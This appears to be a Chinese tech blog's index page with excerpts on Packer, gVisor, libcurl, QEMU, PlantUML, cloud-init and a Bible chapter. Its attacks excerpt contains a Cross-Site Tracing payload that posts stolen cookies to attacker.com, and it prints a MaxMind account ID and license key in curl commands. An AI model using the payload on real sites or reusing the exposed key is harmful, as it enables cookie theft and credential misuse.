无垠之码

深度剖析代码之道


packer-工具使用

Packer是hashicorp公司开源的虚拟机镜像构建工具,与之类似的工具还有OpenStack diskimage-builder、AWS EC2 Image Builder,但后者只支持自家的云平台,Packer更强调平台无关性与统一的镜像构建流程,更关注系统级与基础环境的可复现构建,强调不可变的基础设施(Immutable Infrastructure)。Packer最典型的用途是制作VM镜像,如AMI-Amazon Machine Image、QCOW2、VMDK等,同时也支持Docker镜像构建,能够覆盖主流公有云、私有云以及混合云环境下的镜像构建需求,这种预制镜像Golden Image可以缩短扩容时间Auto-scaling毫秒级启动,并确保测试环境与生产环境的操作系统底座完全一致,消除"Works on my machine"的问题。

0.Packer安装


export HASHICORP_URL=https://apt.releases.hashicorp.com
wget -O- ${HASHICORP_URL}/gpg | sudo gpg --dearmor -o /usr/share/keyrings/hashicorp-archive-keyring.gpg
echo "deb [signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] ${HASHICORP_URL} $(lsb_release -cs) main" | sudo tee /etc/apt/sources.list.d/hashicorp.list
sudo apt update && sudo apt install packer

1.基础命令


Packer和Terraform一样使用申明式语言编写(题外话:相较于命令式语言,其描述目标状态,可读性更强,易实现幂等性,易于维护、版本控制,但抽象高,调试困难,对复杂流程不友好,强依赖执行引擎能力)

peter@peter-Legion-Y9000P-IAH7H:~$ packer --help
Usage: packer [--version] [--help] <command> [<args>]

Available commands are:
    build           build image(s) from template                                        // 执行构建任务
    console         creates a console for testing variable interpolation                // 调试使用
    fix             fixes templates from old versions of packer
    fmt             Rewrites HCL2 config files to canonical format                      // 文件格式化
    hcl2_upgrade    transform a JSON template into an HCL2 configuration                // 将json结构的配置,转换为hcl语言
    init            Install missing plugins or upgrade plugins                          // 插件的安装和升级
    inspect         see components of a template
    plugins         Interact with Packer plugins and catalog
    validate        check that a template is valid                                      // 验证语法正确性           
    version         Prints the Packer version

2.简单案例


Packer通过读取并应用HCL模板文件中定义的配置来完成构建,而HCL模板以简洁的方式刻画生成构建产物所需的过程。Packer build命令接受一个参数,当参数为文件夹时,其下所有以.pkr.hcl和.pkr.json后缀的文件都将被使用HCL2格式解析。当参数是单独文件时,若文件后缀为.pkr.hcl或者.pkr.json都使用HCL2 schema解析器解析,对于不符合上述命名规则的情况,为了兼容历史配置,Packer将采用旧版仅支持JSON的配置解析方式。

Read more...

gvisor容器运行时-入门篇

在介绍gvisor相关技术架构之前,这里简单介绍一下什么是容器运行时。

0.容器运行时


根据OCI Runtime Specification的定义,容器运行时Container Runtime是指一种软件实现,负责在宿主机上创建、启动、运行并管理容器进程的整个生命周期。runc、runsc、kata-runtime等均属于OCI容器运行时规范下的具体实现,通常被称为低层Low-level容器运行时,主要负责容器进程的创建与隔离。

container-runtime

在实际系统中,这些低层运行时通常由更高层的容器运行时进行调用和管理,例如containerd或CRI-O。高层运行时负责镜像的拉取与解压、容器生命周期管理,并通过OCI或CRI接口与底层运行时协作完成容器的启动。从实现方式和安全隔离模型的不同出发,OCI容器运行时通常可以粗略分为两类:

  1. 经典底层
名称 语言 特点 使用场景
runc Go + C OCI 标准参考实现 Docker、containerd默认
crun C 轻量、高性能、低内存 适合资源受限环境(嵌入式、IoT)
runv 淘汰停止维护 Go + QEMU 支持轻量虚拟化 安全隔离要求高的场景

这里runV不是典型的OCI低层容器运行时,它更像是把VM包装成容器运行时接口的一次早期实验,现在已经废弃。

  1. 安全隔离增强型
名称 核心技术 特点 使用场景
runsc Go + 用户态内核 用户态模拟Linux系统调用,增加隔离 多租户安全容器
kata-runtime QEMU + KVM 每个容器一个轻量级 VM 高安全隔离场景
firecracker Rust + KVM 超轻量微 VM Serverless(AWS Lambda, Fargate)

在实际运行中,用户操作的docker-cli会经过dockerd调用高层运行时containerd,然后通过containerd-shim调用低层运行时如 runc、runsc 或 kata-runtime创建容器进程。 例如Docker28.02版本(不同版本可能存在差异),普通容器的调用链为:docker-cli->dockerd->containerd->containerd-shim-runc-v2->runc

1.gVisor容器运行时


相比普通容器,gVisor提供的runsc是一种安全隔离增强型容器运行时,其在容器应用软件与宿主机系统间增加隔离层。作为用户态内核,gVisor使用内存安全的golang语言实现了类Linux内核的相关接口,承载容器内进程的系统调用执行。gVisor中的OCI规范定义的容器运行时runsc,gVisor既可以快速无缝的与docker,Kubernetes对接,使得应用运行于沙箱容器中,也使用专家模式独立运行。

注意: gVisor并未完整复刻Linux内核,而是以最小可用内核接口为目标,仅实现容器运行所需的系统调用子集,其余调用要么被拒绝,要么通过受控路径转发给宿主机内核。具体信息使用runsc help syscalls查阅

Read more...

常见攻击手段

申请秘钥,下载配置
https://www.maxmind.com/en/accounts/293975/license-key

# 永久下载maxmind数据库
curl -O -J -L -u 293975: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 'https://download.maxmind.com/geoip/databases/GeoLite2-Country/download?suffix=tar.gz'
curl -O -J -L -u 293975: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 'https://download.maxmind.com/geoip/databases/GeoLite2-City/download?suffix=tar.gz'
curl -O -J -L -u 293975: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 'https://download.maxmind.com/geoip/databases/GeoLite2-ASN/download?suffix=tar.gz'

# 使用geoipupdate程序
sudo add-apt-repository ppa:maxmind/ppa
sudo apt update
sudo apt install geoipupdate
用文本编辑器打开/etc/GeoIP.conf,把先前生成的许可证密钥对应的配置文件内容粘贴进去,或者手动输入AccountID、LicenseKey和EditionIDs。剩余部分保持默认。

1. 利用TRACE/XST获取敏感信息


HTTP TRACE功能是一种类似ping工具的echo服务功能,主要用于诊断和调试,核心功能是回显Echo客户端请求,让客户端看到服务器收到的完整请求内容,包括请求头和请求行,调试代理或中间设备,确认请求在经过防火墙、代理、负载均衡器等中间节点时是否被篡改或丢失了头部信息,诊断客户端与服务器的通信问题,查看完整请求报文,排查请求被截断、修改或重复的问题。测试 HTTP 功能实现是否正确,一些开发或测试场景下,用 TRACE 检查服务器是否支持标准 HTTP 方法。

apache使用TraceEnable On打开trace功能
nmap --script=http-trace 127.0.0.1

HTTP TRACE功能存在一定的安全漏洞风险,主要与跨站追踪攻击(XST, Cross-Site Tracing)

<!DOCTYPE html>
<html>
<body>
<h3>请稍等,正在加载中...</h3>
<script>
async function stealCookie() {
  try {
    let response = await fetch("http://victim.com/", {
      method: "TRACE",
      credentials: "include"   // 自动携带 Cookie
    });
    let text = await response.text();

    // 把 TRACE 回显的内容(包含 Cookie)上传给攻击者
    await fetch("http://attacker.com/collect", {
      method: "POST",
      body: text
    });
  } catch (e) {
    console.error("Exploit failed", e);
  }
}

stealCookie();
</script>
</body>
</html>

libcurl-指北针

libcurl是一个易用免费的http客户端库,其支持众多应用层传输协议,如DICT(dict://dict.org/d:computer,RFC2229定义的基于TCP的字典查询协议)、FILE、FTP, FTPS、GOPHER(诞生于1980年代末期的早期互联网协议,用于浏览和检索文本文档,已淘汰)、GOPHERS、HTTP、HTTPS、IMAP、IMAPS、LDAP、LDAPS、MQTT、POP3、POP3S、RTMP、RTMPS、RTSP、SCP、SFTP、SMB、SMBS、SMTP、SMTPS、TELNET、TFTP、WS和WSS等协议。并且在功能特性上libcurl支持SSL证书,以及POST|PUT|FTP等上传,各种代理隧道模式,身份认证方式,文件传输中断恢复等。libcurl支持各种操作系统平台,如常见的Linux,Windows,FreeBSD, OpenBSD,甚至不常见的UnixWare, HURD, Windows, Amiga, OS/2等

接口类型


easy接口

libcurl提供简单高效同步的easy接口簇供开发者快速上手,目前大量开源软件依赖这些接口。按照libcurl的官方文档,该使用模式只需要调用curl_easy_init获取curl句柄(后续调用easy函数簇入参),再设置相关的curl句柄的options(其中必须设置CURLOPT_URL,该参数决定后续模式和对象),最后调用curl_easy_perform执行操作,如果没有后续操作,或者并不需要长连接,记得调用curl_easy_cleanup销毁句柄。


typedef CURL* (*curl_easy_init_func)();
typedef CURLcode (*curl_easy_setopt_func)(CURL*, CURLoption, ...);
typedef CURLcode (*curl_easy_perform_func)(CURL*);
typedef void (*curl_easy_cleanup_func)(CURL*);
typedef const char* (*curl_easy_strerror_func)(CURLcode errornum);
typedef struct curl_slist* (*curl_slist_append_func)(struct curl_slist* list, const char* string);
typedef void (*curl_slist_free_all_func)(struct curl_slist* list);

typedef struct {
  curl_easy_init_func init;
  curl_easy_setopt_func setopt;
  curl_easy_perform_func perform;
  curl_easy_cleanup_func cleanup;
  curl_easy_strerror_func strerror;
  curl_slist_append_func slist_append;
  curl_slist_free_all_func slist_free_all;
} CurlInterface;

int onvif_auth_lack_verify(CurlInterface *ci, int argc, const char **argv) {
  int res = -1;
  CURL *curl = NULL;

  if (argc < 1) {
    log_error("onvif_auth_lack poc verify require url");
    goto done;
  }

  const char *url = argv[0];
  onvif_auth_resp_body_t chunk = {0};

  curl = ci->init();
  if (!curl) {
    log_error("onvif_auth_lack failed to initialize curl");
    goto done;
  }

  CHECK_F2_LABEL((ci->setopt(curl, CURLOPT_URL, url) == CURLE_OK), done, "set url fail");
  CHECK_F2_LABEL((ci->setopt(curl, CURLOPT_TIMEOUT, 5L)) == CURLE_OK, done, "set timeout failed");
  CHECK_F2_LABEL((ci->setopt(curl, CURLOPT_WRITEFUNCTION, onvif_resp_callback) == CURLE_OK), done, "set write func fail");
  CHECK_F2_LABEL((ci->setopt(curl, CURLOPT_WRITEDATA, (void *)&chunk)) == CURLE_OK, done, "set write data fail");

  CURLcode curl_res = ci->perform(curl);
  if (curl_res != CURLE_OK) {
    log_error("CURL error: %s", ci->strerror(curl_res));
    goto done;
  }

  if (memcmp(chunk.data + 2048 - 10, ONVIF_AUTH_LACK_MAGIC_STRING, 10) == 0) {
    log_trace("Vulnerability found at URL: %s", url);
  }

  res = 0;  // success
done:
  if (curl) ci->cleanup(curl);
  return res;
}

multi接口

The multi interface is the asynchronous brother in the family and it also offers multiple transfers using a single thread and more. Get a grip of how to work with it in the multi interface overview.

Read more...

出埃及记

埃及新王压迫以色列人


:1 以色列的众子,各带家眷和雅各一同来到埃及。他们的名字记在下面:
1:2 有流便、西缅、利未、犹大、
1:3 以萨迦、西布伦、便雅悯、
1:4 但、拿弗他利、迦得、亚设。
1:5 凡从雅各而生的,共有七十人;约瑟已经在埃及。
1:6 约瑟和他的弟兄,并那一代的人都死了。
1:7 以色列人生养众多,并且繁茂,极其强盛,满了那地。
1:8 有不认识约瑟的新王起来,治理埃及。
1:9 对他的百姓说:“看哪,这以色列民比我们还多,又比我们强盛。
1:10 来吧!我们不如用巧计待他们,恐怕他们多起来,日后若遇什么争战的事,就连合我们的仇敌攻击我们,离开这地去了。”
1:11 于是埃及人派督工的辖制他们,加重担苦害他们。他们为法老建造两座积货城,就是比东和兰塞。
1:12 只是越发苦害他们,他们越发多起来,越发蔓延,埃及人就因以色列人愁烦。
1:13 埃及人严严地使以色列人做工,
1:14 使他们因做苦工觉得命苦;无论是和泥,是做砖,是做田间各样的工,在一切的工上都严严地待他们。
1:15 有希伯来的两个收生婆,一名施弗拉,一名普阿。埃及王对她们说:
1:16 “你们为希伯来妇人收生,看她们临盆的时候,若是男孩,就把他杀了;若是女孩,就留她存活。”
1:17 但是收生婆敬畏 神,不照埃及王的吩咐行,竟存留男孩的性命。
1:18 埃及王召了收生婆来说:“你们为什么做这事,存留男孩的性命呢?”
1:19 收生婆对法老说:“因为希伯来妇人与埃及妇人不同,希伯来妇人本是健壮的(注:原文作"活泼的”),收生婆还没有到,她们已经生产了。"
1:20 神厚待收生婆。以色列人多起来,极其强盛。
1:21 收生婆因为敬畏 神, 神便叫她们成立家室。
1:22 法老吩咐他的众民说:“以色列人所生的男孩,你们都要丢在河里;一切的女孩,你们要存留她的性命。

qemu网络配置

0.Qemu虚拟机网络


Qemu虚拟机网络包含两部分:

  • 网络前端,提供给虚拟机的虚拟网卡部分
  • 网络后端,与虚拟网卡交互部分,实现数据包与宿主机通信
  1. the virtual network device that is provided to the guest, a PCI network card
  2. interacts with the emulated NIC, puts packets onto the host’s network

默认情况下,qemu将创建一个SLiRP网络后端,同时为虚拟机创建合适的网络前端。例如针对大多数x86虚拟机,qemu将创建e1000-pci网络前端。取消默认的网络配置,可以使用-nic none(使用-nodefaults也可以取消默认网络配置,但会影响其他设备的默认选项)。

注意,使用默认的SLiRP网络后端,ICMP协议不被支持,TCP/UDP没有影响。在SLiRP下不能使用ping测试网络联通性

通过命令行的指定的任何网络参数,Qemu要求同时提供足够的信息定义网络前端和后端。忘记指定网络前端或后端,Qemu在运行过程中会提示警告信息。例如,“Warning:netdev net0 has no peer”, “Warning: hub 0 is not connected to host network” “Warning: hub 0 with no nics” Qemu虚拟机将正常启动,但不能提供正常网络服务

1.Qemu虚拟机网卡


Qemu虚拟机支持板载和可插拔两种类型的网卡。

  • 板载网卡,板载网卡一般指主板自带的网络适配器(Onboard NIC basically means a Network interfaces controller built into the motherboard of a PC or a laptop, etc. You don’t have to insert or purchase it separately)。

    Read more...

绘图工具

PlantUML和Mermaid类似都是基于文本的绘图工具,但基于Java运行环境的PlantUML更专注于软件工程图表且需要本地安装或服务器渲染,而基于Javascript运行环境的Mermaid支持更广泛的图表类型(包括甘特图、饼图等非UML图表),并且可以直接在现代浏览器中运行(需要引用mermaid-js渲染)。

其实图表的绘制语法,官方网站都有详尽介绍,本文对两者的使用方法及部分关键功能进行概述和实践示例,不做语法细节的全面展开。

1.PlantUML


标准库

在使用PlantUML绘制图标之前需要了解其提供的标准库,使用stdlib或者%get_all_stdlib命令可以展示当前版本PlantUML支持的标准库及其对应的源码项目。这里的标准库指PlantUML内置图元和功能模块的集合。具体标准使用请直接跳转至官方文档,https://plantuml.com/zh/stdlib。

  • Archimate

    Archimate是一种开放且独立的企业体系结构建模语言,它支持在业务领域内部和跨业务领域的架构描述,分析和可视化。结构化表示企业的各个组成部分,它们的相互关系及其与IT基础架构的集成关系。下图显示了ArchiMate Core框架的元素。

    image

  • Awslib|Aws

    AWS库提供了用于绘制Amazon Web Services服务和资源的图元(sprites)、宏(macros)以及其他包含文件(includes)。所有元素均基于官方的AWS架构图标生成,并结合PlantUML和C4模型,是以代码形式表达设计、部署和拓扑结构的极佳方式。Aws库功能一致,后续可能不再会支持(Warning: We are thinking about deprecating this library.)

  • Azure

    Azure库囊括一系列关于微软云相关的图标,在使用过程中可以首先包含!include <azure/AzureCommon>其提供helper宏方便使用。

  • C4

    C4模型是一个用于描述软件系统架构的可视化建模方法,由架构师Simon Brown提出在2018年发布。模型从以下四个维度,描述复杂系统全貌及系统组建之间的关系。

    1. Context系統上下文,说明系统和其使用者以及其他系統的关系
    2. Container容器,将系统分解为相关联的容器,描述一个软件系统内部的高层结构,容器是可部署/可运行的应用或服务单元
    3. Component组件,进一步细化容器内部结构,展示容器是由哪些组件组成,以及它们之间的关系。组件是构成容器的逻辑单元,通常表示容器内部的业务功能模块、服务类、控制器、DAO等
    4. Code代码,提供架构元素的涉及的细节,使用UML或者ER等既有的语法表达代码细节。
  • Classy|Classy-C4

    Classy是一个PlantUML扩展库,旨在提供更优雅、更现代化的类图绘制方式。核心目标是简化PlantUML的语法,同时增强类图的可读性和美观性。

  • Logos

    Logos是PlantUML中内置的技术品牌与开源项目Logo图标集合,格式为SVG。该图标库特别适用于开发者、DevOps 工程师等在架构图、技术栈展示中插入各类知名品牌标志(如GitHub、MySQL、Redis、Kubernetes等)。

  • Tupadr3

    Tupadr3图标库汇集了大量开发相关技术图标,包括Node.js、Docker、VS Code等。同时也集成了Devicons、Font Awesome等流行图标集中的品牌与UI元素,适用于README、技术简报与系统设计图中图标的插入。

  • Elastic|Material|Office|Kubernetes

    这些图标库包含了在开发、设计与文档中广泛使用、大家熟悉的图标与品牌标志。Elastic:Elastic Stack相关图标(如 Elasticsearch、Kibana);Material Icons:Google的Material Design图标,适用于UI设计;Office:Microsoft Office产品图标,适用于办公系统、文档管理相关系统;Kubernetes:容器编排相关图标,如Pod、Cluster、Deployment等,适用于云原生架构图;

  • Osa

    Open Security Architecture(OSA)是一个开源项目,旨在为企业架构师、系统设计师、安全专家等提供免费、可重复使用的安全架构模式Security Architecture Patterns和参考模型。 PlantUML官方标准库(stdlib)中为OSA图形符号提供的图元库,这意味着开发者可以使用OSA风格的图标(如防火墙、身份提供者、加密模块、终端等),快速构建符合OSA风格的安全架构图

  • Domainstory

    领域故事讲述(Domain Storytelling)是一种协作建模技术,它通过"讲故事"的方式来理解和记录业务领域的运作方式。这种方法特别适合在软件开发初期帮助开发人员理解业务需求。 PlantUML扩展工具包,包含用于可视化领域故事的宏(macros)、主题(themes)以及其他辅助工具,能够帮助你用PlantUML直观地记录和表达领域故事内容。

  • Cloudogu|Cloudinsight

    Cloudogu Ecosystem是一个开源、模块化、企业级DevOps平台,适合需要私有部署、工具整合和高安全性的开发团队。Cloudinsight是一个主要面向运维AIOps和IT监控分析的SaaS平台,专注于预测性运维和故障预防。PlantUML可以方便引用相关图标。

主题

PlantUML支持30多种主题,开发者可以简单使用!theme spacelab引用预置主题,使用函数%get_all_theme打印当前PlantUML版本支持的主题。

@startuml
!theme spacelab
start
:init;
-> test of color;
if (color?) is (<color:red>red) then
  :print red;
else 
  :print not red;
  note right: no color
endif
partition End {
  :end;
}
-> this is the end;
end
@enduml

预处理

一些预处理功能包含在PlantUML中,并可用于所有类型的绘图。这些功能与C语言的预处理器非常相似,只是特殊字符#改为感叹号!

Read more...

cloud-init入门

cloud-init最早由Canonical公司开发,初衷是解决云计算环境中ubuntu实例的自动化配置问题。随着云计算的普及,cloud-init的功能不断扩展,逐步加入实例启动时自动执行一系列配置任务,例如设置主机名、配置网络、安装软件包等,并且支持更多的配置操作和更多的Linux发行版,诸如Fedora、Debian、CentOS等,也开始集成cloud-init作为其云镜像的一部分,成为云平台中实例初始化的事实标准。

在cloud-init未出现之前,也有一些工具和方法用于自动化配置和管理服务器和虚拟机实例,比如

  • Kickstart是Red Hat系列发行版(如RHEL和CentOS)用于自动化安装系统的工具
  • Preseed是Debian和基于Debian的发行版(如Ubuntu,Mint)用于自动化安装的工具
  • AutoYast是SUSE Linux Enterprise和OpenSUSE的自动化安装工具
  • Ignition用于CoreOS和Flatcar Linux的初始配置工具

更强大的PXE Boot预启动执行环境(PXE)允许计算机通过网络启动,并从网络服务器下载操作系统和配置文件。其通常与Kickstart或Preseed配合使用,实现自动化安装和配置。

但是这些工具大多用于操作系统安装阶段的自动化,适用于数据中心或物理机/虚拟机部署场景,设计初衷并非针对云环境,即并非云原生。而cloud-init则是为云平台而生的,强调实例生命周期的初始化配置,并支持与云平台元数据服务(如EC2 meta-data)集成,实现更动态的配置流程。

值得一提的是,虽然cloud-init起初是为云环境设计的,但由于其通用性和灵活性,它也逐渐被用于传统虚拟机和服务器的自动化初始化任务中,不再局限于“云原生”场景。

0.初识cloud-init


在整个系统启动的过程中,cloud-init的执行包括Generator、Local、Network、Config、Final,5个阶段。cloud-init支持很多模块真正的定制工作就是由这些模块完成,在cloud-init中cloud.cfg配置决定具体的模块可以在不包括Generator的4个阶段中的哪一个阶段运行,user-data包含定制化模块的具体参数,datasource告诉cloud-init从何处读取到user-data内容,源码内部cloud-init定义了统一的抽象类接口,所有的datasource实现都要按照规范实现这些接口。

image

以下是阿里云主机导出的cloud.cfg配置文件样例,其定义整个cloud-init过程各个阶段需要执行的相关动作及配置

# The top level settings are used as module
# and system configuration.

# A set of users which may be applied and/or used by various modules
# when a 'default' entry is found it will reference the 'default_user'
# from the distro configuration specified below
users:
   - default

user:
    name: root
    lock_passwd: False

# If this is set, 'root' will not be able to ssh in and they
# will get a message to login instead as the default $user
disable_root: false

# This will cause the set+update hostname module to not operate (if true)
preserve_hostname: false

manage_etc_hosts: localhost


apt:
    preserve_sources_list: true


datasource_list: [ AliYun ]

# Example datasource config
datasource:
    AliYun:
        support_xen: false
        timeout: 5
        max_wait: 300
#      metadata_urls: [ 'blah.com' ]

# The modules that run in the 'init' stage
cloud_init_modules:
 - migrator
 - source-address
 - pip-source
 - seed_random
 - bootcmd
 - write-files
 - [ growpart, once-per-instance ]
 - [ resizefs, once-per-instance ]
 - disk_setup
 - mounts
 - set_hostname
 - update_hostname
 - update_etc_hosts
 - ca-certs
 - rsyslog
 - users-groups
 - ssh

# The modules that run in the 'config' stage
cloud_config_modules:
# Emit the cloud config ready event
# this can be used by upstart jobs for 'start on cloud-config'.
 - emit_upstart
 - snap
 - snap_config  # DEPRECATED- Drop in version 18.2
 - ssh-import-id
 - locale
 - set-passwords
 - grub-dpkg
 - apt-pipelining
 - apt-configure
 - ubuntu-advantage
 - ntp
 - timezone
 - disable-ec2-metadata
 - runcmd
# - ntp-conf
# - chrony-conf
 - byobu

# The modules that run in the 'final' stage
cloud_final_modules:
 - snappy  # DEPRECATED- Drop in version 18.2
 - package-update-upgrade-install
 - fan
 - landscape
 - lxd
 - ubuntu-drivers
 - puppet
 - chef
 - mcollective
 - salt-minion
 - rightscale_userdata
 - scripts-vendor
 - scripts-per-once
 - scripts-per-boot
 - scripts-per-instance
 - scripts-user
 - ssh-authkey-fingerprints
 - keys-to-console
 - phone-home
 - final-message
 - power-state-change

# System and/or distro specific settings
# (not accessible to handlers/transforms)
system_info:
   # This will affect which distro class gets used
   distro: ubuntu
   paths:
      cloud_dir: /var/lib/cloud/
      templates_dir: /etc/cloud/templates/
      upstart_dir: /etc/init/
   ssh_svcname: ssh

image

Read more...
1 of 4 Next Page